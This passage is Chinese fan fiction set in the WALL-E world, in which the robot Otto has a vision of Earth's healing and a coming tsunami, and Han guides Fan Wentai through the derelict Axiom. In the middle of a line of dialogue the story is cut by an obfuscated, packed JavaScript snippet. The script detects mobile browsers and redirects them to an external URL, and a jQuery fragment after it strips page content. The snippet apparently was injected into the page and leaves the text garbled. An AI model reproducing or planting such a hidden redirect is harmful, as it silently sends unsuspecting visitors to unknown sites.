冰冷的阻力茧也逐渐抽离,消失,他重新能够自由活动。身后的光重新亮起。奥托却没有动作。 “但是,我现在无法解释你的疑问。因为它不能用语言描述。”欧罗拉静静伫立在水波纹中。她向奥托伸出手,“当你准备好,我会带你了解。” 奥托呆望着她,那双幽蓝色的眼睛沉静无比,却冰冷异常,就好似刚刚如孔不入的寒意一般。 他有任务在身,要向地球镇传达信息,得保证自己活着回去。因此他不能把自己置于如此未知的危险境地。但是显然,这一切表象的背后,还有什么他不知道的因素在操控这一切。如果他止步于此,很可能会遗漏关键信息,最终功亏一篑。任何的闪失,都将造成不可估量的后果。这一次他发现,任何一边选择,都没有退路。以前的那些冲突和思虑,与今天的相比,根本不能相提并论。 “气溶胶”不复存在,莫名的冰冷却如常,他感到好似微阻片组都罢工了。“在未知与真实之间,我能感到,你的逻辑体系陷入了博弈僵局。”欧罗拉说道。“真相已经对你开放,现在一切都取决于你的选择。” 他迟疑了。 “折跃井已准备好开放,你随时都可以离开这里。”欧罗拉说,手却没有收回。 历经如此波折,欧罗拉和西本允许让他看到这些,必定不是为了毁灭他。 内在的某处陡然轻微悸动了。在那一瞬,僵持的天平终于倾斜。 他终于抬手,放到欧罗拉冰冷的手上。手臂感到划过阻力的沉重与迟钝。像水。他才依稀找到与之最为接近的描述。 “谢谢。”欧罗拉抓住银色手掌,朝水波深处轻跃而起。 这一拽让他直直冲进水波全息屏,奥托禁不住向后躲闪,却没能挣脱。他一头扎了进去,屏幕并没有碎裂。相反,一种比刚刚的气溶胶还坚实浓厚的冰冷浸透全身,好似一头扎进冷水,而且失去了外壳保护。所有的电路都裸露在更强烈的外界刺激下,它们甚至连绝缘层也融化、丢失了。电子开始在临近小电路间到处乱窜,刺痛从外表一路侵入,直达核心。 海水!短路!奥托惊恐万状地想挣脱欧罗拉,想要逃脱“海水”,却被不由分说全部浸入。在不能知晓的一刹那,周围的光线也全部消失了,他看不见欧罗拉,什么都看不见。那股刺痛开始消失,但是周围变得更加沉重,冰冷,压得他似乎要窒息。他感到自己好像回到了西伯利亚那个冷夜,肢体开始变僵,失用,最后甚至再也感觉不到它的存在。其他感知也变得忽明忽暗。那股冰冷也开始抽离,一同抽走的,还有意识。 他猛然从混沌中清醒过来。 虽然还是一样的冷,一样的窒息和沉重。但什么声音都没有,也没有光。 这是哪里? 随着他重新思考,一点微光亮起,照亮了四周一点点。像极了那个西伯利亚之夜,而自己在夜里提着一盏灯,但低头,连自己都看不到。伸手,也看不到自己的手。 有什么东西在光线底下闪闪发亮。他仔细观察,发现是正在乱飞的尘屑。他尝试着去抓某一颗尘埃,却怎么都抓不到。而浓稠沉重的触感,甚至不能打破这些尘屑的布朗运动。 深海海底。他找到了描述。 这就是西本所说的概率云吗?他感到光源扩大了一点点。他也不知道自己到底移动没有。但无论“动”到何处,都是这样布朗运动的碎屑。偶尔,这些碎屑会被突然扰动一下。他不确定,是自己的行为扰动了碎屑,还是其他的什么在扰动碎屑。 那么,事件在哪里,未来,又在哪里? 随着他所想,自己持的那盏灯会偶然变成一束光,照亮前面一瞬,然后又恢复原样。他大失所望,因为无论那束光照相何处,前方也什么都没有,都是无穷无尽、永恒飞舞的碎屑。 突然,他感到自己被什么包裹住了。低头,伸手,仍然什么都看不到,比当时的舵形机体还糟。他能感受到那股力量开始入侵,融入,坚实而浓稠,自己在它面前稀薄无比,只能眼睁睁地感到它挤入自己的每一条缝隙,如同一团更浓厚的粒子扩散到自己这团稀薄粒子之间。 自己所拿的这盏灯突然变亮了。刚刚只能照亮身边一点,现在,扩大到一片区域。 那一片区域的尘埃不再继续做布朗运动,它们开始聚集,压缩,变成一个个或大或小的球体。融入自己的那股力量带着他拂过那些球体。正在聚集的球体变得越来越沉,越来越滚烫。那团稠厚的粒子团带动他,让他去感受这些球体的质量。这些球体,有一些特别沉重,有一些则轻很多。它们甚至还有形状的区别。随着球体质量逐渐增加,他有种奇怪的压强感。自己明明托得住这些球体,却相信只要足够沉重,它们完全有可能穿透这层承载它们的膜。好像铅球陷入掌心,甚至慢慢穿透手掌似的。 他看不见自己的手。这些黑白的、由碎屑组成的球体,有明有暗,碎屑运动速度也不一样。明亮的、涡旋速度快的“摸”起来更加温热滚烫,昏暗而缓慢的则冰冷。看起来像极了红外视角下的天体。太阳系!尘埃聚集的形状和分布,让他突然意识到了什么。 其他球体开始隐去。光线又变得昏暗。浓稠粒子团牵动他,把注意力放在其中一团尘埃上。即使那团尘埃没有颜色,甚至没有大陆和海洋的地形,但奥托有种莫名的直觉,这一定是地球。他从未用这种方式去观察地球过。地球不再是那个干黄遍地、水体黑蓝的行星,它不能再用视觉去描述。但它的质量,它的温度,甚至它表面的那层卫星垃圾,都通通变成了真实得不能再真实的触觉。 那股粒子团让他捧住尘埃地球,得以从外到内逐步感受它的层次。这一次触摸,他突然发觉了有什么不对劲。以往从未这么真实地感受过,即使是满目疮痍的地表图片,都无法给他以这种冲击。 它摸起来不仅脏,而且疏松。表面糊满了不应该粘上去的东西。它感觉起来死气沉沉,没有活力。这种触感,让他从心底里感到恐慌和厌恶。它正常不应该是这样的。 就像是一个遍体鳞伤的生命。无处不在的伤口表面覆着肮脏的焦痂,沾染上去的尘土,甚至还有疏松而污黄的细菌赘生物。因为这些物质的存在,原本存在的自愈能力被污染、破坏,甚至连带那寥寥无几的生命力也逐渐跟着全部坏死。于是,不能愈合的伤口开始发臭,疽坏,上面仅存的一点点风化作用也远不能帮其完成循环。它的平衡被彻底打破了。 但尽管如此,这颗星球却没有死亡。随着那团粒子带他深入触摸地球的层次,他发现生命力虽然微弱,却苟藏于深深的焦痂下方。它仍然滚烫,会活动,却在长久的生命与消耗中,无法动用自己的的力量再达到上方。 当表面再也无物可烂时,就被腐蚀它的因素所抛弃了。它被当成彻底死去的生命,任其继续漂泊在冰冷的虚空之中。但是它已然奄奄一息,即使被抛弃如此之久,却一点恢复的迹象都没有。 只有彻底清除掉这些污染物,让生命力重新滋润表面,才能让伤口获得愈合的机会。他这么想,在那股更加浓稠的粒子团内也获得了共鸣。但是,能够触摸并深入渗透的这股力量,却无法将生命力从内核引出。直到一个偶然的契机,他们,或这个混合的浓稠粒子团,获得了这份抽引的能力。 在他们缓慢成长,并理解地球之前,有人已经帮他们选好了治疗地球的药。内在引出的熔融之力实在太过单薄,无法完全凭此烧融、吞噬表面的脏壳,但足以松动久结瘿滞的表面。外界一点一滴的热浆,不仅能够彻底化去痂壳,还能补充长期的物质丢失,让它慢慢重塑、愈合。 他的其他感觉被抽离了,只把注意力放在地球的治愈过程上。他能感受到,随着一点一滴的烧融不断进行,原先肮脏的外壳被掀起、熔化,在地下久藏的创生洪柱终于喷涌而出,一片片吞噬、消化掉外周的污物,将其重新纳入与生俱来的循环中。他们感受到,这个曾经疮痂遍布的星球,在冷却中逐渐结了一层薄薄的新痂,再慢慢越来越厚,重新被温水覆盖、滋润。表面变得光滑清洁,各种风化作用也开始有序而平衡地进行。地球得以重焕生机。 奥托终于理解了欧罗拉存在的目的。她照料地球,就好似照料自己的机体。 洁净的地球慢慢消散,重新结成肮脏的模样,清晰的触感让他意识到,刚刚愈来愈模糊缥缈的光滑触感只是幻象。这时,他们留意到,本来应该有序进行的疗愈过程,突然来了不速之客。 本来随着流星体不断补充与熔岩洪柱的上提,地表的生物风化作用也随之微弱加强了运作。但是这个时候,他们一点都不期待更多的风化作用。奥托认出,那是曾经的公理号。在这个视角下,公理号就像一粒苍蝇落在洁净的创面肉芽组织上,一种沉闷的不满隐隐沉淀,却没有发作。他们对这个外来物一点都没有共情。一旦有任何机会,他们就能轻而易举地消灭它,仿佛拍死一只虫子一般。 原本他们根本不需要干预。因为后续的流星体自然会将这颗小小灰尘一并吞没。它虽然在缓慢扩张,也在继续侵蚀,可它的作用实在是微乎其微。但有一天,灰尘的概率云中出现了一个意想不到的事件。它首次触到了他们一开始就关闭的防御机制,打算用此对抗地球的疗愈进程。 一种异样的愤怒自浓稠粒子团中涌起,好似从自己内心产生一样。但奥托突然警觉了。这股愤怒很陌生。虽然浓稠粒子团对新来的赘生物略表厌恶,却只是出于被干扰的注意,不会有这么尖锐而鲜明的情感。更不像起自他的本我。但他的触手被推动了。就着这股愤怒,核弹头被扭转了方向,他好似在投掷一个石块,直接对准灰尘概率云所在之地而去。 我要杀了你们。他逐渐辨认出其中的怨恨。那种对外来物的仇视,对外来物的报复。无耻的寄生虫们。 被坚实包裹的稀疏粒子团被这个突然的念头刺激得一哆嗦,黑白的碎屑地球也刮花了一瞬间。但这个念头立刻被其他粒子的运动所击散。他只感觉刚刚有点异样,却只得继续跟着浓稠粒子团,冷眼观察在地球上活动的这些灰尘碎。 然后,又一粒苍蝇掉了下来。那股恨意再次自心底涌起。这次,他举起了手,将地球上方漂浮的卫星一路横扫,把那只新来的苍蝇打了个晕头转向。 你们谁都别想走!都得死在这里!哪怕那两只苍蝇都奄奄一息,难以动弹,他却攥紧了其他的流星体。只要这两颗灰尘的概率云有一点轻举妄动,他就可以随时将剩下的流星体统统抛下,只为把它们击得粉碎。越是抵抗,越是激起这股仇恨的激情。而他们都知道,这样报复,对地球的疗愈进程没有影响。 你们不配在这里活着。他的触手紧紧抓着石块,死盯着那两颗正在活动的赘生物,随时准备让石块加速、变道,用最残忍的方式一举消灭它们。 不。 这不可能是自己的念头。奥托却无法仔细思考。他是灰尘概率云的粒子之一,他的使命是保护那颗灰尘,和流动到周围的一切。他不可能对这颗叫公理号的灰尘产生恨意。他不可能用全垒打对付他所珍视的一切。尽管他承认与接受疗愈地球的做法。 但他此时正坚定地推着那些飞弹,动力都来自他的本源。 去吧。他的触手最后对这个石块猛抽一鞭。它直直朝那个海峡飞去。 异物只能死亡。挥鞭而出那一瞬,他已经分不清,是他,还是浓稠粒子团,还是什么,自他心底阴沉低语。 不!不!不—— 他看着那个流星体开始尖叫。不敢相信这是出于他手。他开始在浓稠粒子团里挣扎,周围平静得几乎不存在的洋底也开始搅动。碎屑组成的地球被洋流吹散,飞灭,乱飞的碎屑如同暴风雪一般。温暖浓稠的粒子团也被这洋流搅开,冲散,他被从中解离,重新抛入冰冷的海水中,赤裸地面对火力全开的汹涌洋流。自己所持的那盏灯忽明忽暗,碎屑忽近忽远,他根本不知道上下何方,只得蜷缩成一团,抵抗沉重凶猛的水流。 灯又灭了。暗流似从海底卷起,将他快速地带往水面,伴随震耳欲聋的爆裂水泡音,预示减压之迅速,也让他的内在随之沸腾,同样剧烈的疼痛充斥全身。嘈杂的水泡爆裂声贯穿他的电路,他无助沉浸在永恒的噪音中,已经彻底麻木。 不知过了多久,他才从聋与盲中恢复。冷流一波一波浸着他的肢体,伴随海浪冲向沙滩上的声音。宁静而永恒的银河挂在天穹,偶尔,视野被侧面扑来的冷流淹没,银河透着冰冷晃动起来,最后星野流出,留下好几痕水渍。 履带滚在沙滩上的声音由远及近,伴随悬浮装置运作的声音。一个方方正正的剪影进入视野一角。那个方正的机器人伸出金属手,在他身上敲打出清脆的声音,似乎受惊一般又立刻后退。随之进入视野的是那个白色的卵形身影。她胸口发出一束蓝光,笼罩他全身,水渍把她的白色身影散射得模糊不清。 “瓦力,快回去开门,叫M-O他们过来。”他听见卵形身影急促地用机器语言说着。然后这个白色机器人把他从沙滩上托了起来。“这一定发生了什么。” 32. 二十七(1) “嘿,小鬼。想不想出来换换空气?” 汉正在底层船舱焊接舱壁,突然听到一个又痞又快的声音。不用转过头去,都知道那一定是科林。 “你要干啥?”少年不耐烦回应。 “干你的老本行。”少年抬起头,身着白色速干衣的越南人就靠在走廊舱壁上。“听说你对公理号很熟。我正好对那边感兴趣,乐意当导游不?” “嗤。”汉摇摇头,继续专注手上工作,“做梦吧你,公理号早被封了,我都上不去。” “这不用担心,我有渠道。只是需要一个向导。”范文泰凑近少年,“随便带我逛一圈就好。满足一下我这等乡巴佬参观A级飞船的愿望。”见少年仍未停手,“至于报酬,那就是你可以随时回家。在这里过了那么久,你应该挺思念父母吧?” 焊接的烧灼声戛然而止。少年沉默了。 “这就是你所说的渠道?!”深更半夜,少年气喘吁吁地爬上黑暗的通道。他浑身被海水浸透,通道里却闷热异常,湿黏黏地难受极了。惨白色灯光一晃一晃地照着上方同样黑暗的通道,深不见顶。底下传来海水倒灌的轰轰响声,海雾偶尔喷薄而上,再次浸湿好不容易开始变干的衣裤。 一声清脆碰响自身下传来,海浪声被关在了外面。攀爬声霎时变得更加清晰,通道也更加沉闷。“这招是你的奥托老哥教的,保证相当管用。”戴着红色护目镜的越南人跟着少年向上爬去,“我告诉你,就走这种路潜伏进来的,那才刺激。平时随便进来的不好玩。” 汉抓攀爬架的手掌突然一滑。他甩甩手,以为是尚未干透的海水。顶上仍然一望无际,而他的手腕和大腿开始酸痛。重新顺利进来公理号,他一点都不感到兴奋,反倒开始厌烦。一并让他厌恶的,还有身后坚持要他带路的科林。 幼稚的家伙。汉边板着脸机械地向上爬,感到手腕和大腿开始打颤。什么半夜刺激,什么乡巴佬进城,要不是能回家,鬼才会陪你出来累死累活。“我他妈从来没走过这条路,你赶紧给我看哪儿能出去,不然我不干了。”他上气不接下气说。 “公理号看来是真的大。”底下不远不近跟着的个体当然一点不喘,“刚刚才看过,最近的出口还有二十来米。拜托,我还以为地球上的孩子抗重力很强呢。” 晃动的光束终于不再毫无收获。它所覆盖的路上出现了一个平台,形成一个尖锐的阴影。汉大喘着,汗水蒙住了他的双眼,如同溪流般一股股淌进脖子。最后的几米仿佛永远,当他最终抓到那个平台,他艰难地把自己撑进舱道,甚至无力再把双腿抬进舱道。少年半截身子吊在外面,滚烫的脸贴在冰凉地面上,舱内一股遍布灰尘的风吹来,他不管不顾,恍若抽风机似的大口喘气。 双腿被坚硬的手抬起,送到舱道中。他顺势躺在原地,看到越南人自垂直通道钻出。越南人在一片死寂的黑暗舱道中警惕观望,少年隐约之间,似乎听到一点轻微的充能声。但什么都没有发生。越南人最终在他身边蹲下。汉无暇理会那个观光客,只如饥似渴地攫取身下的冰凉。 “休息好了吗?”越南人那巨大护目镜的红光一直锁着少年。 汉听此,不顾浑身酸痛,一把将自己撑起,回避掉越南人的目光。“你到底要看什么?”他不耐烦地说,“这就是公理号,你看吧,什么都没有。灯也没有,人也没有,到处都是灰尘,除了大,比你的常量号还寒酸。” 越南人没有答话。他在少年身边蹲下了。汉继续扭头,望向虚无而黑暗的走廊深处。带着霉味和灰味的凉风悄悄抚过,唤起了童少时期的点滴。他终于理解了当时那些大孩子们对公理号的逐渐厌烦,但只感到心里一揪,酸楚开始隐隐上泛。 “你一定累坏了。” 越南人突然开口,不再似以前咄咄逼人。 汉仍然扭头,用邦邦硬的后背回应范文泰。 “我知道你现在不好受。本来是休息的半夜时间,却用来满足一个异乡人的乐趣,换谁都不能接受。”范文泰没有强迫少年,在他身后温和说,“我很抱歉,孩子,想事情只考虑到我的闲暇,忽视了你的意见,这是我的疏忽。” 汉仍然盯着通道深处,默不作声。 “刚刚讲的那些话,也确实是很不合适。”越南人继续温和说,“没有意识到你已经劳累过度,还以为你在懈怠,企图去刺激你的斗志,这是我的无礼和冒犯。” 少年仍然没有转身。但是沉重的呼吸开始变缓。 “如果你不想再走下去了,没有关系。这是我的问题。但我会陪着你。”范文泰继续说。“我一直都在这里,不会把你单独扔在这里。如果你想回家,我会陪你一起离开。” 汉仍然瞪着通道深处,但身板没有那么硬了。 范文泰不再说什么,只静静地蹲在旁边。 “算啦。”少年深吸一口气,转身,撑着地慢慢站了起来。“你想怎么看公理号?” “谢谢,汉。”越南人露出一点笑容。“边走边说吧。我觉得我们之间,可以在路上了解一下彼此。” 他知道,自己被抬进了某个小屋。小屋里灯火朦胧交错,虽然略显昏暗却温馨。一排排架子上摆满了眼花缭乱的小物品,正按照某种他不甚清楚的规范归类摆放,好似杂货店的货架一般。他听到很多机械运转的噪杂声。那个方方正正的身影一刻不停,履带声也跟着忽近忽远。零碎而杂乱的电子语言在周围叽叽喳喳,他知道在讨论自己,却如同听不懂般无动于衷。清洁刷的嗡嗡电机声响起,湿润的温和磨砂感从肢端蘸起,一丝不苟地沿着肢体向前推进。他知道黄色机器人的铲形手在不断地轻轻敲击他,叫他的名字,夹杂着表示担忧的频率,他也懒得理会,不予任何回应。 他甚至感到状态板的外壳被掀开,还被翻身查看核心芯片。曾经为此极度警觉的他,此时恍若丧失了所有动力,只任这些机器人随意摆布。 白色的卵形悬浮机器人盯着状态板,眯起LED蓝眼,对旁边的黄色箱子使了个眼色,那个黄色箱子“噢”了一声,迅速滑到后方。其他机器人也停下了动作,纷纷撤退到旁边,屋子里突然安静下来。 白色悬浮机器人伸手,羽状手指轻轻放在他的金属头颅两侧。嗒。一点点弹响自接触点跳起,伴随着轻微的刺痛。在一边的机器人们却似乎受到了惊吓,一齐略微颤抖一瞬。有那么可怕吗?他看到那些机器人的反应,模糊地想。 嗒,嗒。弹响越来越大,那种刺痛也越来越明显,穿透力越来越强。但他仍然无动于衷。 嗒,嗒,嗒!最后一下弹响,声响和刺痛贯穿了电子脑,他猛醒过来,好似突然撕破了隔着现实的那层膜。他骤然坐起,清晰到刺激的一切输入刷地涌入,好像从静止空气被骤然扔进冷水一般。 肩上被某个坚硬的东西抵住、支持,他不至于失去支持向后倒去。突然增强的输入让他感到恐慌。余光看到给予他支持的是那个黄色箱子。而卵形白色机器人早悠悠然飘开,现在伫立在他面前。 “这是什么情况,奥托?”伊芙用电子语言发问。“究竟发生了什么?” 他茫然地瞪着伊芙,什么都没说。 伊芙发出一声诧异的电子音。她看起来有点不自在。最终还是凑近了银色机器人,“你还认得我们吗?” 围观的机器人都不敢作声。 他认得。他当然认得。但是,他没有回答。 小屋的门仍然洞开。略微偏头,就能看到半个黑暗的公理号和更远的、被淡蓝色笼罩的常量号静静伫立在海上。奥托站起身,向门口走去,却没有离开。伊芙有些惊讶,但没有拦着前上司。她和瓦力以及其他一众机器人一起,沉默地看着站在门口的银色身影。 晴朗夜空之下,两艘飞船都仿佛水上的巨型雕像,平静、安宁,似乎能存在至永恒。海面在高桥下方,平静地向天边延伸,在微光中波光粼粼。任谁观赏,都会赞叹此景之祥和宁静。 他也不例外。抬头,明亮的银河和刚刚海岸上看见的一样,星点闪烁却稳定,每颗星星都牢牢地、稳稳地呆在他们应有的位置上,几百万年前发出的光和上千万年前发出的光汇聚、相遇,同时抵达这颗行星,又冲进他的感光条上,只为宣告它们的遥远与长命。无论天上,还是行星上,见此永恒,没有人能够,或者想到,下一秒会如何变化。 一道亮光自后方泛起,随后火红色的光球突然出现,拖着一条长尾划过天穹,割裂了银河。伴随着尖锐响亮的爆裂声,它越过两艘飞船,映亮了两座雕像,快速消失在海平面后。海面与天穹又恢复了宁静,除了那道仍然泛着暗白色的浅淡烟尘横贯银河,挥之不去,若不留意,根本不能发现有什么不同。 而下一瞬,他发现海平面变了。海平面似乎变厚了一点,粗粗地仿佛在水天之接之处加上了一根白线。那条线越变越粗,等到原先的海平面再度出现,它几乎不能辨识地抬高,入侵了天穹一点。 那根线仍然在不断推进,变粗,已经变成了细绳。奥托盯着它向两艘飞船滚滚而来。一种隐隐的不安在这根白线出现之始就已出现,仿佛轻轻地扰动他的内在。此时这种不安愈加明晰、强烈,开始干扰他的部分传感器。次声波!答案一定存在于哪里,但是他却手足无措,以往的高效搜寻与果断决策丧失殆尽,只能被动地目睹这一切的发生。 银河悄悄淡没,天上的微光逐渐泛起,变亮,似乎已经到了白天。然而都是云,苍白地笼罩整个海湾。仿佛为了让他看清那根正在推进的绳子似的。但那根绳子表面覆着一层薄薄的雾,滚过的水体浑浊而阴暗,以绳子为界,将前方深色的平静水体割成两个部分。 他终于看清了。 绳子冲破了薄雾,开始抬高,翻滚,变黑。原先粗糙的表面,此时都是浑浊的浪面。它从中展开,变尖,变成了一堵墙。墙面上的暗波缓缓往墙顶爬去,不断加高这面墙的高度。沉闷的隆隆声传来,它已经挡住了远方的海平面,如同城墙一般包围这座海湾,而且,还在向海湾缓缓移近。 哗啦啦的水流声自脚下传来。断桥之下,浅浅水流正疾速地向远海撤退而去,很快露出海床,一百多年来首次重新暴露在空气中。沙土湿润地在正午的光下,闪出点点反光。而远方突然变暗了。 那是那堵浪墙投下的阴影。一并变暗的,还有首当其冲的常量号。 即使方舟飞船身形巨大,即使方舟飞船坚固无比,经受住了太空中几乎一千年的考验,面对地球上的浪墙,人造的巨物也终究难敌暗墙的滚滚推进。常量号的蓝色力场罩突然跳灭。随着一声沉闷的巨响,常量号猛地一震,舰内微弱的照明也一并突然消失。白色的巨型浪花骤然自飞船侧面弹起、攀升,激起一层巨大的水雾,又从这一面疾速滑落。与下方仍然在推进的海墙会合,下一个目标就是公理号。 虽然公理号更加庞大,海墙却也更加高涨,几乎淹到了公理号的登舰平台。一声更加毛骨悚然的巨响拍在公理号侧面,浑浊的水流骤然从海岸面的一个个登舰口冲出,如同水坝喷出的水柱,又霎时淹没在浑浊的海墙里。常量号的下半和公理号的登舰平台平面都已经全部浸没在新的水面中,仍然推进的海面仿佛一座正在推进的悬崖,继续朝地球镇吞噬而来。 悬崖开始触及刚刚产生的干涸海床,它的顶端也开始破碎。然而,它一点都没有放缓步伐。巨响之中,崖面开始向内扭曲,顶端抽离了重力,开始要往下掉,借着重力势能,急急直冲地表而去。 眨眼间,污浊的洋面到了他面前。水雾喷溅在他身上,还有海的腥咸气息。他盯着黑暗的海墙深处,依稀还有刚刚冲下的金属碎片向上慢慢流动。顶端的海浪已经破成白色的碎片,如同一只巨型手掌,直直地朝他拍击而下。 “呃!”他不由得向后趔趄,好似被什么给击倒。众机器人目瞪口呆。 但当他再次抬头,巨浪已然消失无踪。在面前的,仍然是宁静的海面,伫立在海中的两座巨物和天顶的银河。仿佛刚刚的一切都从未发生。 他转身,与好几双大大小小的、颜色各异的LED眼灯沉默相对,以及那个和他略有类似的双筒望远镜。 “你未连入ACNS。”伊芙说。“发生了什么?” 他站在原地,久久不能回应。 “现在是什么时间?”他终于问。 伊芙告诉了他。 答案随着伊芙的回答蹦了出来。刚刚所见绝非幻象。当他知晓以后,深深的无力和痛苦笼罩了他。他不由得双手捂面,腿上的伺服电机也脱离了控制。呯。他跪倒在前机器船员们面前。 “不,这不可能……”他说,“我不可能——”语句戛然而止。 他听到滑轮滚动声,大伙都围了上来。但是他却没有勇气面对他们。有什么在电子脑深处敲动。他们拉起了近距离通讯。一句句询问直接呈现,他面对大家的疑问,仍然不知如何回应。 【我们要回家的时候,看到海岸上突然发出一圈蓝绿色的光。伊芙吓坏了,马上就要举枪射击,但是最终没有。】瓦力开口了,【等到我们赶到时,蓝绿色光消失了,但是发现你躺在水里。这圈蓝光是什么东西?】 【我们以为你在O区停摆了。】摩说,【讲实话,你现在的精神状态很奇怪,和以前比就不是同一个人。你到底在里面遭遇了什么?】 【他的左臂外壳损害严重,双腿看上去换过。】黄色的悬浮照明机器人L-T说,【O区怎么把你搞成这个样子的?】 【什么不可能?】伊芙最后,幽幽地发问。【你刚刚……看到了什么?】 他坐在地板上,抬头,与伊芙的LED眼灯相对。 【我无法告诉你们。】他最终说。【你们不会相信的。】 【哪怕我告诉你们,你们都会认为是我疯了。】他继续说。 众机器人面面相觑。 【告诉我们吧。】伊芙最终说。 奥托沉默了。 【好吧。】他终于说。 机器人们等来的不是任何语言,任何描述。那是他们所熟知的海湾。阴沉,普通。然而下一瞬间,巨浪吞噬了两艘飞船,向他们所在的小屋直扑过来。地球镇也不能幸免,放眼过去,所有的土地和房屋都被淹没,破碎,残壁断垣。比最严重的飓风袭击还要触目惊心。 【海啸。】奥托说。【是即将下落的流星体导致的。】 众机器人沉默地盯着他。那些人造的双目都透着极度震惊与深深的怀疑。 传输仍在进行。但好似时光倒放。碎屑地球、西本的录像、折跃井、常量号、霜冻之夜、梅的粒子炮、QT病毒……直到最开始的那张网,那片被白噪音笼罩的密集小楼。每一个经过虽然都只选取了一瞬,但远不止声音和画面。他们沉默地目睹和消化争吵,尖啸,恐惧和冲突。在近距离通讯里,来自不同个体的惊呼不时异口同声激发,好似面对这些的恰是他们自己。然而他们同时心知肚明,这些触目惊心的记忆,不过是奥托给他们揭开的冰山一角。 【离开这里。】他只如此说。【此地不宜久留。】 大家都沉默,部分是因为还未从刚刚的传输中缓过神。但另一部分,即使没有抬头,他也能感到,众机器人们看他的表情都是同情和怜悯。 【……呃,老大,我不知道该怎么表达……】一个机器人犹豫地说。 【你说吧。】他简短回应。 【呃,我能理解遭遇这一切很不容易,但是我们有些担忧……】那个机器人没敢直说,【……如果有什么我们可以帮忙的,我们乐意效劳。】 【我明白你的意思。】奥托早预料到如此。 【以前的那些事情,还算有理可据。】伊芙说,【但是我们实在是不能把海啸当真。】 【我也不相信。】奥托说。【但我无法判断。】 【那……接下来该怎么办?】瓦力悄悄地问。 他沉默了。这恰好是他迷茫之处。他理应不能幻想出如此真实的场面,更没有闲暇与能力把接下来的每个瞬间都计算得一清二楚,分毫不差,好似那是已经发生的事情。他认为自己并没有歇斯底里,但所述的一切,都无法证明他不是在胡编乱造。越是诚挚,反而会加深所有人的怀疑。 但是面对这可怖的后果,他无法就此冷眼旁观。在取证的关键之路上,他却被一堵无法击破的高墙彻底阻挡。那堵高墙不是其他,正是他们所处的维度。 除了知晓折跃井的那寥寥少数几个人,地球镇上没有任何个体会相信他。同样,除了他们,其他人都不能证明,他是否真的在联机过程中被欧罗拉严重干扰。 【你们是对的。】面对前机器舰员,他最终选择说。【可能的确是我思虑过度了。】 他站起身,走向小屋门口。【但是,如果两天后,你们看到海平面上出现白线,离开这里,撤到高地,越远越好。】 众机器人目视他离开小屋,见前自动驾驶按了一下腰间某处,银色反光的外壳顷刻被黑色皮衣覆盖,对着海湾纵身一跃,钩爪扎进断桥边缘,最后闪出收回的银光。 众机器人面面相觑。 “曾经我最熟悉的就是这里的主船舱。”他们确认安全后,汉指着空荡荡的宏大黑暗空间,对范文泰说。“一些开过的小房间我都去过。然而,最令我感兴趣的还是舰桥。我几乎可以在那里找到一切疑问的答案。但是,不知道为何,大家都对那里避之不及。”他们朝住宅区走去。曾经他还在那里挥洒汗水,想到奥托之前对他的厚望,汉不禁叹了口气。“我想如果是怕奥托叛变,倒也完全不至于禁止别人上去。残忍点说,如果真的只是怕这一点,那可以把他的芯片取掉。现在这样,让我感觉禁止其他人上去舰桥,根本不是因为他。但是这样垄断其他人获取知识的权利,是一件非常糟糕的事情。” “舰桥可不止是权限最大的数据输出端而已。”范文泰边警觉地观察周围可能的监视装置和红外源,边说,“最重要的是,连你都能按下起飞按钮,随时盗走这座堡垒。” “不可能的。”汉说,“你以为我没试过吗,这都得归功于奥托。他把整艘船的重要功能都加了锁,甚至给那些维修机器人下了死命令。宁可让整艘船跟着他一起烂掉,也不肯让我们在他没盯着的时候动飞船。” “哦?真是个细致的控制狂。”范文泰评价道,“但这么一说,确实是在情理之中。不过,他这个分寸看来把握得非常精到。”越南人歪起嘴角一笑,“他没有控制你的倾向吧?” “啊?”汉感到寒毛直竖。下意识想反驳,却不知道如何反驳。“不……不可能吧,他……从没逼过我做什么事情,对其他人也一样……就是有时候很固执,但是……所有固执的人都很坚持自己的观点……”他急忙理了理思路,“……至少我觉得他这样做不是出于他的私利……” “我知道了。”范文泰没有深究。“他有没有给你讲过以前的事情?在你们说的,‘降落事件’之前的事情? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706298|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我只听他讲过一次,是对阿莱茜丝说的……”汉遍搜记忆,“倒是没什么特别的。一直以来似乎都很平淡,他承认,降落日那天确实没经历过那样的事情,就乱了阵脚。”少年又说,“对了,他说他好像是……什么情感模块和其他的工作模块不兼容,会严重干扰,然后自己削减了情感模块的功能。” “一直以来都很平淡……”范文泰喃喃自语,“真是奇怪。算了。我竟然还在用我已经摒弃的假设来推理,真是滑稽。” 汉不禁偏头看了越南人一眼。 “对了,小鬼,这条路通往哪里?”范文泰还是一副吊儿郎当的样子,说话痞气十足。 “啊,是舰桥。”汉说,“这是我最常走的路。” “舰桥啊,算了吧。”范文泰突然慢下脚步,“我这辈子都耗在舰桥上。已经厌烦了。哪艘船都得一样开,哪艘船的舰桥都是按钮、闪光,除了布置,其他根本就是千篇一律。没意思。”他发着光的护目镜对着少年,“都怪我,没有提早说。其实……” “你想去哪里?”汉很是疑惑。 “看来,确实如你所述,刚刚最想看的娱乐区和住宅区都被搬空了,剩下的简直就是什么都没有,不挂牌子,谁都不知道这是啥,真的太寒酸啦。”范文泰说,汉几乎能听出他语气里的恳求意味。“不过,因为飞船体量确实差很多,我更想看看这艘飞船的燃料供给和推进部分。BNL给的数据都不像话,这算是学习吧。” “噢,你早说啊。”汉嗤了一声,却对这个老顽童十分无可奈何,“我们就不必白白走这段路了。” “那可不一定。”他们掉头前往飞船尾时,范文泰说,“没有路是白走的。” “这样……但是,我对船尾不太熟诶。” “没有关系。你把大概的方向带好,剩下的,时间多得很,我们就一起摸索好了。”范文泰说,“探索那边,两个人总比一个人深入好,不管是以前你自己还是我现在,是吧?” “是……”汉发现范文泰的说辞不仅有理有据,还有一种让人不得不信服的魔力。这在与奥托的交流中从未有过。“呃,科——范文泰?” “嗯?” 